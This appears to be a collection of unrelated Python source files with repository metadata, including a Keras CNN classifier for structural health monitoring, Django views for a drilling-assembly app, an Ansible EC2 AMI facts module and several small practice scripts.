#!/usr/bin/env python3 proto = ["ssh", "http", "https"] print (proto) print (proto[1]) proto.extend("dns") ## appends each letter as an element to the list print(proto)

[ "lalit.patil@fcagroup.com" ]

lalit.patil@fcagroup.com

e9548f4466470f2ecbfe2b5aed82e666be9fd889

8648656c85014a8dee62334a6d85e9dcef17befb

/cnn_classifier_SaveAllFolds.py

8e906ed0b06288d2c9b08b9c9622ec09616d4ecb

[ "CC0-1.0" ]

permissive

mohsen-azimi/SHM_CNN_CompressedData

865d0d6efef5e4a0ee7620a29c0721fe49ad3a97

0b5c82d8fa64fb791d3c9690d3a3de5632413cf3

refs/heads/master

2022-08-22T15:37:41.331974

2022-08-03T23:51:26

231,650,234

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2

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UTF-8

Python

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9,475

py

import tensorflow as tf import keras from keras import Sequential from keras.models import load_model from keras.layers.advanced_activations import LeakyReLU, PReLU from keras.layers.normalization import BatchNormalization from keras.layers import Dense, Flatten, Dropout, Conv1D, MaxPool1D, AvgPool1D,Conv2D, MaxPool2D, Activation from keras.utils.vis_utils import plot_model from utils import convert_matlab_file, load_dataset, plot_confusion_matrix from sklearn.model_selection import train_test_split from sklearn.cross_validation import StratifiedKFold from sklearn.linear_model import LogisticRegression from sklearn import svm from sklearn.metrics import roc_curve, auc from sklearn.preprocessing import label_binarize from sklearn.multiclass import OneVsRestClassifier from scipy import interp from itertools import cycle import hdf5storage from keras.utils import np_utils import numpy import math import scipy.io import time ################################## for plot confusion imports import itertools import numpy as np import matplotlib.pyplot as plt from sklearn.metrics import confusion_matrix class History(keras.callbacks.Callback): def on_train_begin(self, logs={}): self.acc = [] self.loss = [] def on_epoch_end(self, epoch, logs={}): self.acc.append(logs.get('acc')) self.loss.append(logs.get('loss')) def create_CNN_model(): model = Sequential() # ................................................................................................................ model.add(Conv1D(filters=16, kernel_size=3, strides=1, padding='same', activation='relu', use_bias=False, input_shape=(lenSignal, nSensors))) model.add(Conv1D(filters=16, kernel_size=3, strides=1, padding='same', activation='relu',use_bias=False, input_shape=(lenSignal, nSensors))) model.add(BatchNormalization(epsilon=1e-06, mode=0, momentum=0.9, weights=None)) # Batch Normalization model.add(LeakyReLU(alpha=.01)) # advanced activation layer model.add(MaxPool1D(pool_size=2, strides=None, padding='valid')) # ................................................................................................................ model.add(Conv1D(filters=32, kernel_size=3, strides=1, padding='same', activation='relu',use_bias=False, input_shape=(lenSignal, nSensors))) model.add(Conv1D(filters=32, kernel_size=3, strides=1, padding='same', activation='relu',use_bias=False, input_shape=(lenSignal, nSensors))) model.add(BatchNormalization(epsilon=1e-06, mode=0, momentum=0.9, weights=None)) # Batch Normalization model.add(LeakyReLU(alpha=.01)) # advanced activation layer model.add(MaxPool1D(pool_size=2, strides=None, padding='valid')) # ................................................................................................................ model.add(Conv1D(filters=64, kernel_size=3, strides=1, padding='same', activation='relu', use_bias=False, input_shape=(lenSignal, nSensors))) model.add(Conv1D(filters=64, kernel_size=3, strides=1, padding='same', activation='relu', use_bias=False, input_shape=(lenSignal, nSensors))) model.add(BatchNormalization(epsilon=1e-06, mode=0, momentum=0.9, weights=None)) # Batch Normalization model.add(LeakyReLU(alpha=.01)) # advanced activation layer model.add(MaxPool1D(pool_size=2, strides=None, padding='valid')) # ................................................................................................................ model.add(Flatten()) model.add(BatchNormalization()) # model.add(Dense(nClasses*1)) model.add(Dense(nClasses*1)) model.add(Dense(nClasses, activation='softmax')) ################################################################################################################### learnignRate = 0.00005 opt = keras.optimizers.Adam(lr=learnignRate, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0, amsgrad=False) model.compile(loss='categorical_crossentropy', optimizer=opt, metrics=['acc', 'mse', 'mae','categorical_crossentropy']) plot_model(model, to_file='model_plot.png', show_shapes=True, show_layer_names=True) model.summary() # ................................................................................................................... return model # ................................................................................................................... # ##################################################################################################################### loadMAT = 'A_SHM3_freq' # 1,2, 4,5,6,7 # loadMAT = 'A_SHM1' # 1,2, 4,5,6,7 saveMAT = loadMAT saveModel = loadMAT # ##################################################################################################################### def shuffle(a, b): assert len(a) == len(b) p = np.random.permutation(len(a)) return a[p], b[p] # ##################################################################################################################### matlab_file = 'BenchMark/Outputs/'+loadMAT+'.mat' mat = hdf5storage.loadmat(matlab_file) InputData = np.transpose(mat['InputData'], (2, 0, 1)) TargetData = mat['TargetData'] nSamples = int(np.asscalar(mat['nSamples'])) lenSignal = int(np.asscalar(mat['lenSignal'])) nSensors = int(np.asscalar(mat['nSensors'])) nClasses = int(np.asscalar(mat['nClasses'])) X = InputData Y = np_utils.to_categorical(TargetData) X, Y = shuffle(X, Y) # ----------------------------------------------------------------------------------------------------------------- # ##################################################################################################################### # ----------------------------------------------------------------------------------------------------------------- # ############ CNN ############### # ################################ # ############################### with tf.device("/gpu:1"): print("Training is started") t0 = time.time() # t0 nFolds = 10 skfold = StratifiedKFold(numpy.argmax(Y, axis=-1), n_folds=nFolds, shuffle=True, random_state=None) print("skfold:",skfold) fold = 1 for train_index, test_index in skfold: model = create_CNN_model() # model = create_SVC_model() history = History() # nepochs = 100 nepochs = 500 batchsize = 256 model.fit(X[train_index], Y[train_index], epochs=nepochs, batch_size=batchsize, callbacks=[history], verbose=1) scores = model.evaluate(X[test_index], Y[test_index], verbose=1) print(scores) print("%s: %.2f" % (model.metrics_names[0], scores[0] )) print("%s: %.2f" % (model.metrics_names[1], scores[1] )) print("%s: %.2f" % (model.metrics_names[2], scores[2] )) print("%s: %.2f" % (model.metrics_names[3], scores[3] )) print("%s: %.2f" % (model.metrics_names[4], scores[4] )) Y_testpred = model.predict_classes(X[test_index]) Y_testpredScores = model.predict(X[test_index]) # Compute confusion matrix Y_testtrue = np.argmax(Y[test_index], axis=1) cnf_matrix = confusion_matrix(Y_testtrue, Y_testpred) # TH: # model.save('saveModels/' + saveModel + '_TH_fold' + str(fold) + '.h5') # Freq: model.save('saveModels/' + saveModel + '_fold' + str(fold) + '.h5') # TH: # scipy.io.savemat('saveMATs/' + saveMAT + '_TH_fold' + str(fold) + '.mat', { # Freq: scipy.io.savemat('saveMATs/' + saveMAT + '_fold' + str(fold) + '.mat', { 'Y_true': Y_testtrue, 'Y_pred': Y_testpred, 'Y_predScores': Y_testpredScores, 'AccuracyTH': history.acc, 'LossTH': history.loss, 'nClasses': nClasses, 'nepochs': nepochs, 'batchsize': batchsize, 'scores': scores, 'cnf_matrix': cnf_matrix, 'nFolds': nFolds, 'fold': fold, }) # # np.set_printoptions(precision=2) # # # Plot non-normalized confusion matrix # plt.figure() # class_names = np.array(["Intact", "Pattern1", "Pattern2"],dtype='<U10') # plot_confusion_matrix(cnf_matrix, classes=class_names, # title='Confusion matrix, without normalization') # # # Plot normalized confusion matrix # plt.figure() # plot_confusion_matrix(cnf_matrix, classes=class_names, normalize=True, # title='Normalized confusion matrix') # # plt.show() # # plt.figure() # plt.plot(range(0, nepochs), history.acc, 'b--') # plt.plot(range(0, nepochs*math.ceil(0.9*nSamples/batchsize)), history.acc, 'b--') # plt.xlabel('Epochs') # plt.ylabel('Accuracy') # plt.show() # plt.pause(0.05) # plt.figure() # plt.plot(range(0, nepochs), history.loss, 'r--') # plt.xlabel('Epochs') # plt.ylabel('Loss') # plt.show() # plt.pause(0.05) t1 = time.time() # t1 at the end print("Total Run Time: ", int(t1-t0), " seconds") fold += 1 # #################################################################################### # play something! import winsound duration = 2000 # milliseconds freq = 440 # Hz winsound.Beep(freq, duration)

[ "noreply@github.com" ]

mohsen-azimi.noreply@github.com

0905cc6c738a84c48c2cf095039d96d8fe7af5d9

3b7e22b8c1cc96f6fd8440ad1ec1288bc2140d0f

/firstapp/views.py

3cd82201cd161e23cc248e9fe2646dd5313acf4e

[]

no_license

bunnygoud25/mukeshportfolio

535c336ebb7fcad14a5bf14cf5ea6b19dd6ab1fb

96346b847df588ff345dff512eff6dba0273142e

refs/heads/master

2020-07-31T00:44:40.957487

2019-09-23T18:19:39

209,590,626

0

null

UTF-8

Python

false

280

py

from django.shortcuts import render import os from django.conf import settings from django.http import HttpResponse, Http404 # Create your views here. def index(request): return render(request,'index.html') def hire(request): return render(request,'hire.html')

[ "bunnygoud25@gmail.com" ]

bunnygoud25@gmail.com

8fd238c93ae823bd8fbe9ee076b046a2eeb24a10

e27ee08fbb99ca2abf0f822783603ac649a44f1d

/primeSum.py

3ea232f3c4d15d9413732d2f45dbba6556a07fd4

[]

no_license

weida8/Practice

c2def43ffd7e1f43163616c4dbb5aaa697cc8c63

2de2a6076e12fe196a7eea89cc69fb3a59ceaec7

refs/heads/master

2021-01-23T13:31:33.914228

2018-07-24T04:21:58

102,670,404

0

null

UTF-8

Python

false

214

py

def isPrime(n): for i in range(2, n): if(n%i == 0): return False return True def main(): totalSum =0 for i in range(2, 2000000): if(isPrime(i)): print(i) totalSum += i print(totalSum) main()

[ "noreply@github.com" ]

weida8.noreply@github.com

e4f116f2d1e3e8c08ce2c7c35289d60e7a2455e5

3b2940c38412e5216527e35093396470060cca2f

/top/api/rest/SimbaAdgroupsChangedGetRequest.py

5b87c69b8afb5cee0f9b6ef7edd9ba1abccebb0d

[]

no_license

akingthink/goods

842eb09daddc2611868b01ebd6e330e5dd7d50be

ffdb5868a8df5c2935fc6142edcdf4c661c84dca

refs/heads/master

2021-01-10T14:22:54.061570

2016-03-04T09:48:24

45,093,302

0

null

UTF-8

Python

false

398

py

''' Created by auto_sdk on 2015-01-20 12:44:31 ''' from top.api.base import RestApi class SimbaAdgroupsChangedGetRequest(RestApi): def __init__(self,domain='gw.api.taobao.com',port=80): RestApi.__init__(self,domain, port) self.nick = None self.page_no = None self.page_size = None self.start_time = None def getapiname(self): return 'taobao.simba.adgroups.changed.get'

[ "yangwenjin@T4F-MBP-17.local" ]

yangwenjin@T4F-MBP-17.local

ae75f741053ce7f25c92b229213b38134118e778

02619be3f115d170ab2e2951af482ef69698bbce

/bha/views.py

62c564cd3314ae02ecf027e66bcd9aa49932d51c

[]

no_license

xkenneth/tdsurface

08852b5f9f809ed682e4b50938d60d711884d94a

ec15a05e581ec5f53287cab31af2f4f3e1efcb63

refs/heads/master

2021-03-12T23:11:32.547441

2009-08-12T20:58:29

84,442

2

0

null

UTF-8

Python

false

8,464

py

from django.http import HttpResponse from django.http import HttpResponseRedirect from django.http import HttpResponseNotFound from django.http import Http404 from django.template import loader, Context from django.template import RequestContext from django.shortcuts import render_to_response from django.core.urlresolvers import reverse from django.contrib.auth.decorators import login_required from tdsurface.shortcuts import get_object_or_None from tdsurface.depth.models import Run from tdsurface.bha.models import * from tdsurface.bha.forms import * from django.utils import simplejson MAX_JETS=9 MAX_PUMPS=3 def bha_update(request, object_id, extra_context=None) : run = Run.objects.get(pk=object_id) bha, created = BHA.objects.get_or_create(run=run) bit, created = Bit.objects.get_or_create(bha=bha) assets, created = SerializedAssests.objects.get_or_create(bha=bha) jets = Jet.objects.filter(bit=bit) if len(jets) < MAX_JETS : for x in range(MAX_JETS - len(jets)) : j = Jet(bit=bit) j.save() jets = Jet.objects.filter(bit=bit) pumps = Pump.objects.filter(bha=bha).order_by('number') if len(pumps) < MAX_PUMPS : cnt = len(pumps) for x in range(MAX_PUMPS - len(pumps)) : cnt=cnt+1 p = Pump(bha=bha, number=cnt) p.save() pumps = Pump.objects.filter(bha=bha).order_by('number') if request.method == 'POST': bha_form = BHAForm(request.POST, instance=bha) # A form bound to the POST data bit_form = BitForm(request.POST, instance=bit) jet_forms = [JetForm(request.POST, prefix='jet'+str(x), instance=jets[x]) for x in range(MAX_JETS)] pump_forms = [PumpForm(request.POST, prefix='pump'+str(x), instance=pumps[x]) for x in range(MAX_PUMPS)] collar_form = CollarForm(request.POST) probe_form = ProbeForm(request.POST) surface_gear_form = SurfaceGearForm(request.POST) if all([collar_form.is_valid(), probe_form.is_valid(), surface_gear_form.is_valid(), bha_form.is_valid(), bit_form.is_valid()] + [x.is_valid() for x in jet_forms] + [x.is_valid() for x in pump_forms]) : # All validation rules pass bha_form.save() bit_form.save() for jet_form in jet_forms : jet_form.save() for pump_form in pump_forms : pump_form.save() d = {'pk':assets.pk, 'bha_id':assets.bha_id} d.update(collar_form.cleaned_data) d.update(probe_form.cleaned_data) d.update(surface_gear_form.cleaned_data) SerializedAssests(**d).save() return HttpResponseRedirect(reverse('bha_update', args=[object_id])) else : bha_form = BHAForm(instance=bha) bit_form = BitForm(instance=bit) jet_forms = [JetForm(prefix='jet'+str(x), instance=jets[x]) for x in range(MAX_JETS)] pump_forms = [PumpForm(prefix='pump'+str(x), instance=pumps[x]) for x in range(MAX_PUMPS)] collar_form = CollarForm(initial=assets.__dict__) probe_form = ProbeForm(initial=assets.__dict__) surface_gear_form = SurfaceGearForm(initial=assets.__dict__) pump_fields = [] for field in pump_forms[0].fields : pump_fields.append([]) for pump_form in pump_forms : cnt=0 for field in pump_form.fields : pump_fields[cnt].append(field) cnt = cnt+1 data = {'object': run, 'bha_form': bha_form, 'bit_form': bit_form, 'jet_forms': jet_forms, 'pump_forms': pump_forms, 'pump_fields': pump_fields, 'bha':bha, 'collar_form': collar_form, 'probe_form': probe_form, 'surface_gear_form': surface_gear_form,} for key, value in extra_context.items(): if callable(value): data[key] = value() else: data[key] = value return render_to_response('bha_update_form.html', data, context_instance = RequestContext(request)) def bha_component_grid(request, object_id) : run = Run.objects.get(pk=object_id) bha = BHA.objects.get(run=run) page = int(request.GET['page']) rows = int(request.GET['rows']) sort_order= '' if request.GET['sord'] == 'desc' : sort_order= '-' cs = Component.objects.filter(bha=bha).order_by(sort_order+request.GET['sidx']) records = len(cs) total_pages = records/rows; if records % rows : total_pages += 1 data={ 'total': total_pages, 'page': page, 'records': records, 'rows' : [ ], } for r in cs[(page-1)*rows:page*rows] : rd = {} rd["id"] = r.pk rd['order'] = str(r.order) rd['description'] = r.description rd['serial_number'] = r.serial_number rd['odia'] = str(r.odia) rd['idia'] = str(r.idia) rd['fn_length'] = str(r.fn_length) rd['top_conn'] = r.top_conn rd['pb'] = r.pb rd['length'] = str(r.length) data['rows'].append(rd) data = simplejson.dumps(data) return HttpResponse(data, mimetype="application/javascript") def bha_component_grid_edit(request, object_id) : run = Run.objects.get(pk=object_id) bha = BHA.objects.get(run=run) if request.method=='POST' : if request.POST['id'] == 'new' : order = request.POST['order'] if order == 'end' : order = 9999 order = int(order) print 'we got here' c = Component(bha=bha, order = order, description = request.POST['description'], serial_number = request.POST['serial_number'], odia = request.POST['odia'], idia = request.POST['idia'], fn_length = request.POST['fn_length'], top_conn = request.POST['top_conn'], pb = request.POST['pb'], length = request.POST['length'] ) print 'how bout here' cs = Component.objects.filter(bha=bha).order_by('order') max_order = 0 for x in cs : if x.order >= c.order : x.order += 1 x.save() if x.order > max_order : max_order = x.order if c.order >= max_order : c.order = max_order + 1 c.save() else : c = Component.objects.get(pk = request.POST['id']) order = int(request.POST['order']) if c.order != order : cs = Component.objects.filter(order = order) if len(cs) : cs[0].order = c.order cs[0].save() c.order = order c.description = request.POST['description'] c.serial_number = request.POST['serial_number'] c.odia = request.POST['odia'] c.idia = request.POST['idia'] c.fn_length = request.POST['fn_length'] c.top_conn = request.POST['top_conn'] c.pb = request.POST['pb'] c.length = request.POST['length'] c.save() data = simplejson.dumps(c.pk) return HttpResponse(data, mimetype="application/javascript") def bha_component_grid_delete(request, object_id) : run = Run.objects.get(pk=object_id) bha = BHA.objects.get(run=run) if request.method=='POST' : c = Component.objects.get(pk = request.POST['id']) order = c.order c.delete() cs = Component.objects.filter(bha=bha).order_by('order') for x in range(len(cs)) : if cs[x].order != x + 1 : cs[x].order = x + 1 cs[x].save() return HttpResponse('true', mimetype="application/javascript")

[ "andy@andy-vmdesktop.(none)" ]

andy@andy-vmdesktop.(none)

252c203dd8b3c6c3ccdfa7211fa50cfc0bbb89fc

d6ea2105340cfdb7db3a209f69888c7312ecbce9

/core/commons.py

893e31247a7cf53186a7b1b8608b36286e7b0303

[]

no_license

antonyflour/hometrol

43bbd723b190185a80e40d7064a7f68d02a7d050

e71360ba6170b47d809331050b3b4c204617fe6c

refs/heads/master

2021-01-19T10:17:57.792982

2017-05-23T20:26:23

87,851,414

0

null

UTF-8

Python

false

2,988

py

REG_EXP_MAC_ADDRESS = "[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$" class EngineCommands: COMMAND_ADD_SHIELD = "addShield" COMMAND_GET_INFO_SHIELDS= "getShields" COMMAND_DELETE_SHIELD = "deleteShield" COMMAND_MODIFY_PIN = "modifyPin" COMMAND_GET_SHIELD = "getShield" COMMAND_GET_PIN = "getPin" COMMAND_SET_PIN_STATE = "setPinState" COMMAND_MODIFY_SHIELD = "modifyShield" COMMAND_ADD_EVENT = "addEvent" COMMAND_GET_INFO_EVENTS = "getEvents" COMMAND_DELETE_EVENT = "deleteEvent" COMMAND_GET_SYSTEM_EMAIL = "getSystemEmail" COMMAND_ADD_SYSTEM_EMAIL = "addSystemEmail" COMMAND_DELETE_SYSTEM_EMAIL = "deleteSystemEmail" class URIPath: URI_MAC = "/arduino_emulate/mac.php" URI_OUTPUT_PIN = "/arduino_emulate/output_pin.php" URI_INPUT_PIN = "/arduino_emulate/input_pin.php" URI_INPUT_STATUS ="/arduino_emulate/input_status.php" URI_OUTPUT_STATUS ="/arduino_emulate/output_status.php" URI_SET_STATUS ="/arduino_emulate/set_out.php" URI_TOGGLE = "/arduino_emulate/toggle.php" ''' URI_MAC = "/mac" URI_OUTPUT_PIN = "/output_pin" URI_INPUT_PIN = "/input_pin" URI_INPUT_STATUS = "/input_status" URI_OUTPUT_STATUS = "/output_status" URI_SET_STATUS = "/setout" URI_TOGGLE = "/toggle" ''' class ErrorCode: ERROR_NOT_FOUND_NUMBER = 404 ERROR_NOT_FOUND_MSG = "Not found" ERROR_INVALID_BODY_NUMBER = 901 ERROR_INVALID_BODY_MSG = "Invalid body" ERROR_INVALID_CONTENT_TYPE_NUMBER = 902 ERROR_INVALID_CONTENT_TYPE_MSG = "Invalid content-type : only application/json is supported" ERROR_INVALID_MAC_NUMBER = 903 ERROR_INVALID_MAC_MSG = "Invalid MAC Address" ERROR_INVALID_MAC_PIN_NUMBER = 904 ERROR_INVALID_MAC_PIN_MSG = "Invalid MAC Address or Pin Number" ERROR_PIN_NOT_FOUND_NUMBER = 905 ERROR_PIN_NOT_FOUND_MSG = "Pin not found" ERROR_SHIELD_NOT_FOUND_NUMBER = 905 ERROR_SHIELD_NOT_FOUND_MSG = "Shield not found" ERROR_SHIELD_COMMUNICATION_NUMBER = 906 ERROR_SHIELD_COMMUNICATION_MSG = "Impossible to connect to the shield" ERROR_SHIELD_ALREADY_EXIST_NUMBER = 907 ERROR_SHIELD_ALREADY_EXIST_MSG = "The shield already exist" ERROR_GENERIC_NUMBER = 908 ERROR_GENERIC_MSG = "Generic Error" ERROR_COMMAND_NOT_RECOGNIZED_NUMBER = 909 ERROR_COMMAND_NOT_RECOGNIZED_MSG = "Command not recognized" ERROR_CONDITION_TYPE_NOT_RECOGNIZED_NUMBER = 910 ERROR_CONDITION_TYPE_NOT_RECOGNIZED_MSG = "Condition type not recognized" ERROR_ACTION_TYPE_NOT_RECOGNIZED_NUMBER = 911 ERROR_ACTION_TYPE_NOT_RECOGNIZED_MSG = "Action type not recognized" ERROR_EVENT_NOT_FOUND_NUMBER = 912 ERROR_EVENT_NOT_FOUND_MSG = "Event not found" ERROR_SYSTEM_EMAIL_ALREADY_EXISTS_NUMBER = 913 ERROR_SYSTEM_EMAIL_ALREADY_EXISTS_MSG = "System email already exists, please first remove the old one" ERROR_TEST_EMAIL_NUMBER = 914 ERROR_TEST_EMAIL_MSG = "Test email fallito"

[ "antoniofarina1702@gmail.com" ]

antoniofarina1702@gmail.com

ca2152782390e2a3cd07a0025946143c9aedaa23

9a85e9651d076c736fe57b8f957c44fd4a28e2e2

/002,leetcode/leetcode-343.py

4227901944fce5e65372cddf8a145171762e9006

[]

no_license

Jesselinux/Data-Structures-and-Algorithms

609b9230caf8a39290cb3581d1106879ff029add

768c4d5ea75e9dd6aaf5f920accf32adf3355fdd

refs/heads/master

2020-05-21T15:35:36.144829

2019-09-05T06:26:04

186,094,903

0

null

UTF-8

Python

false

321

py

# leetcode-343:动态规划,beats 57.79% class Solution: def integerBreak(self, n: int) -> int: sums = [0, 1] for i in range(2, n+1): tmp = 0 for j in range(1, i): tmp = max(tmp, j*sums[i-j], j*(i-j)) sums.append(tmp) return sums[n]

[ "wuchang508@163.com" ]

wuchang508@163.com

5d857613084649081412e62cd5a3dd7998e0f1ec

a66460a46611483dfbdc94c7996893f427e60d97

/ansible/my_env/lib/python2.7/site-packages/ansible/modules/cloud/amazon/ec2_ami_facts.py

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[ "MIT" ]

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#!/usr/bin/python # Copyright: Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: ec2_ami_facts version_added: '2.5' short_description: Gather facts about ec2 AMIs description: Gather facts about ec2 AMIs author: - Prasad Katti, @prasadkatti requirements: [ boto3 ] options: image_ids: description: One or more image IDs. aliases: [image_id] filters: description: - A dict of filters to apply. Each dict item consists of a filter key and a filter value. - See U(https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeImages.html) for possible filters. - Filter names and values are case sensitive. owners: description: - Filter the images by the owner. Valid options are an AWS account ID, self, - or an AWS owner alias ( amazon | aws-marketplace | microsoft ). aliases: [owner] executable_users: description: - Filter images by users with explicit launch permissions. Valid options are an AWS account ID, self, or all (public AMIs). aliases: [executable_user] describe_image_attributes: description: - Describe attributes (like launchPermission) of the images found. default: no type: bool extends_documentation_fragment: - aws - ec2 ''' EXAMPLES = ''' # Note: These examples do not set authentication details, see the AWS Guide for details. - name: gather facts about an AMI using ami-id ec2_ami_facts: image_ids: ami-5b488823 - name: gather facts about all AMIs with tag key Name and value webapp ec2_ami_facts: filters: "tag:Name": webapp - name: gather facts about an AMI with 'AMI Name' equal to foobar ec2_ami_facts: filters: name: foobar - name: gather facts about Ubuntu 17.04 AMIs published by Canonical (099720109477) ec2_ami_facts: owners: 099720109477 filters: name: "ubuntu/images/ubuntu-zesty-17.04-*" ''' RETURN = ''' images: description: a list of images returned: always type: complex contains: architecture: description: The architecture of the image returned: always type: string sample: x86_64 block_device_mappings: description: Any block device mapping entries returned: always type: complex contains: device_name: description: The device name exposed to the instance returned: always type: string sample: /dev/sda1 ebs: description: EBS volumes returned: always type: complex creation_date: description: The date and time the image was created returned: always type: string sample: '2017-10-16T19:22:13.000Z' description: description: The description of the AMI returned: always type: string sample: '' ena_support: description: whether enhanced networking with ENA is enabled returned: always type: bool sample: true hypervisor: description: The hypervisor type of the image returned: always type: string sample: xen image_id: description: The ID of the AMI returned: always type: string sample: ami-5b466623 image_location: description: The location of the AMI returned: always type: string sample: 408466080000/Webapp image_type: description: The type of image returned: always type: string sample: machine launch_permissions: description: launch permissions of the ami returned: when image is owned by calling account and describe_image_attributes is yes type: complex sample: [{"group": "all"}, {"user_id": "408466080000"}] name: description: The name of the AMI that was provided during image creation returned: always type: string sample: Webapp owner_id: description: The AWS account ID of the image owner returned: always type: string sample: '408466080000' public: description: whether the image has public launch permissions returned: always type: bool sample: true root_device_name: description: The device name of the root device returned: always type: string sample: /dev/sda1 root_device_type: description: The type of root device used by the AMI returned: always type: string sample: ebs sriov_net_support: description: whether enhanced networking is enabled returned: always type: string sample: simple state: description: The current state of the AMI returned: always type: string sample: available tags: description: Any tags assigned to the image returned: always type: complex virtualization_type: description: The type of virtualization of the AMI returned: always type: string sample: hvm ''' try: from botocore.exceptions import ClientError, BotoCoreError except ImportError: pass from ansible.module_utils.aws.core import AnsibleAWSModule from ansible.module_utils.ec2 import (boto3_conn, ec2_argument_spec, get_aws_connection_info, ansible_dict_to_boto3_filter_list, camel_dict_to_snake_dict, boto3_tag_list_to_ansible_dict) def list_ec2_images(ec2_client, module): image_ids = module.params.get("image_ids") owners = module.params.get("owners") executable_users = module.params.get("executable_users") filters = module.params.get("filters") owner_param = [] # describe_images is *very* slow if you pass the `Owners` # param (unless it's self), for some reason. # Converting the owners to filters and removing from the # owners param greatly speeds things up. # Implementation based on aioue's suggestion in #24886 for owner in owners: if owner.isdigit(): if 'owner-id' not in filters: filters['owner-id'] = list() filters['owner-id'].append(owner) elif owner == 'self': # self not a valid owner-alias filter (https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeImages.html) owner_param.append(owner) else: if 'owner-alias' not in filters: filters['owner-alias'] = list() filters['owner-alias'].append(owner) filters = ansible_dict_to_boto3_filter_list(filters) try: images = ec2_client.describe_images(ImageIds=image_ids, Filters=filters, Owners=owner_param, ExecutableUsers=executable_users) images = [camel_dict_to_snake_dict(image) for image in images["Images"]] except (ClientError, BotoCoreError) as err: module.fail_json_aws(err, msg="error describing images") for image in images: try: image['tags'] = boto3_tag_list_to_ansible_dict(image.get('tags', [])) if module.params.get("describe_image_attributes"): launch_permissions = ec2_client.describe_image_attribute(Attribute='launchPermission', ImageId=image['image_id'])['LaunchPermissions'] image['launch_permissions'] = [camel_dict_to_snake_dict(perm) for perm in launch_permissions] except (ClientError, BotoCoreError) as err: # describing launch permissions of images owned by others is not permitted, but shouldn't cause failures pass images.sort(key=lambda e: e.get('creation_date', '')) # it may be possible that creation_date does not always exist module.exit_json(images=images) def main(): argument_spec = ec2_argument_spec() argument_spec.update( dict( image_ids=dict(default=[], type='list', aliases=['image_id']), filters=dict(default={}, type='dict'), owners=dict(default=[], type='list', aliases=['owner']), executable_users=dict(default=[], type='list', aliases=['executable_user']), describe_image_attributes=dict(default=False, type='bool') ) ) module = AnsibleAWSModule(argument_spec=argument_spec, supports_check_mode=True) region, ec2_url, aws_connect_params = get_aws_connection_info(module, boto3=True) if region: ec2_client = boto3_conn(module, conn_type='client', resource='ec2', region=region, endpoint=ec2_url, **aws_connect_params) else: module.fail_json(msg="region must be specified") list_ec2_images(ec2_client, module) if __name__ == '__main__': main()

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theyashkins@gmail.com

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#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "Django0109.settings") try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv)

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rbdone/lotr-api

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#!/media/ulrike/Daten/CODING/projects/lotr-api/data-processing/bin/python3 # -*- coding: utf-8 -*- import re import sys from pylint import run_symilar if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(run_symilar())

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# 고정 길이 스택 클래스(collections.deque)를 사용하기 from enum import Enum from stack import Stack Menu = Enum('Menu', ['푸시', '팝', '피크', '검색', '덤프', '종료']) def select_menu() -> Menu: """메뉴 선택""" s = [f'({m.value}){m.name}' for m in Menu] while True: print(*s, sep=' ', end='') n = int(input(': ')) if 1 <= n <= len(Menu): return Menu(n) s = Stack(64) # 최대 64 개를 푸시할 수 있는 스택 while True: print(f'현재 데이터 개수: {len(s)} / {s.capacity}') menu = select_menu() # 메뉴 선택 if menu == Menu.푸시: # 푸시 x = int(input('데이터를 입력하세요>')) try: s.push(x) except IndexError: print('스택이 가득 차 있습니다.') elif menu == Menu.팝: # 팝 try: x = s.pop() print(f'팝한 데이터는 {x}입니다.') except IndexError: print('스택이 비어 있습니다.') elif menu == Menu.피크: # 피크 try: x = s.peek() print(f'피크한 데이터는 {x}입니다.') except IndexError: print('스택이 비어 있습니다.') elif menu == Menu.검색: # 검색 x = int(input('검색 값을 입력하세요>')) if x in s: print(f'{s.count(x)} 개를 포함하고, 맨 앞쪽의 위치는 {s.find(x)}입니다.') else: print('검색 값은 포함되어 있지 않습니다.') elif menu == Menu.덤프: # 덤프 s.dump() else: break

[ "cherry25987@gmail.com" ]

cherry25987@gmail.com

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codesharedot/levolution-price

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2020-08-02T14:26:47.832555

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import requests import json from forex_python.converter import CurrencyRates import os c = CurrencyRates() rate = c.get_rate('USD', 'EUR') print(rate) levolution_api_url = 'https://api.coinmarketcap.com/v1/ticker/levolution/' response = requests.get(levolution_api_url) response_json = response.json() print(response_json) for coin in response.json(): price = coin.get("price_usd", "U$S Price not provided") coin_price = float(("{0:.2f}").format(float(price))) print("$ " + str(coin_price)) coin_price_eur = float(("{0:.2f}").format(float(price)*rate)) print("€ " + str(coin_price_eur))

[ "codeto@sent.com" ]

codeto@sent.com

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libinjungle/LeetCode_Python

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class TreeNode(object): def __init__(self, val): self.val = val self.left = None self.right = None class Solution(object): def maxPathSumFromRoot(self, root): """ Divide_And_Conquer max sum is equal to the max of left and right child plus the root value. :param root: :return: """ if root is None: return 0 maxleft = self.maxPathSumFromRoot(root.left) maxright = self.maxPathSumFromRoot(root.right) return max(maxleft, maxright) + root.val if __name__ == "__main__": sol = Solution() root = TreeNode(1) root.left = TreeNode(2) root.right = TreeNode(3) root.left.left = TreeNode(4) root.left.right = TreeNode(5) print(sol.maxPathSumFromRoot(root))

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# Example of using customized Config object from Package.defines import Config config = Config() config.reload_logger('develop') config.reload_cfg() def main(): print('---------------------------------------------------------') print(config.peek()) config.set('Module 3', 'says', 'It should be a brand new configure') print(config.peek())

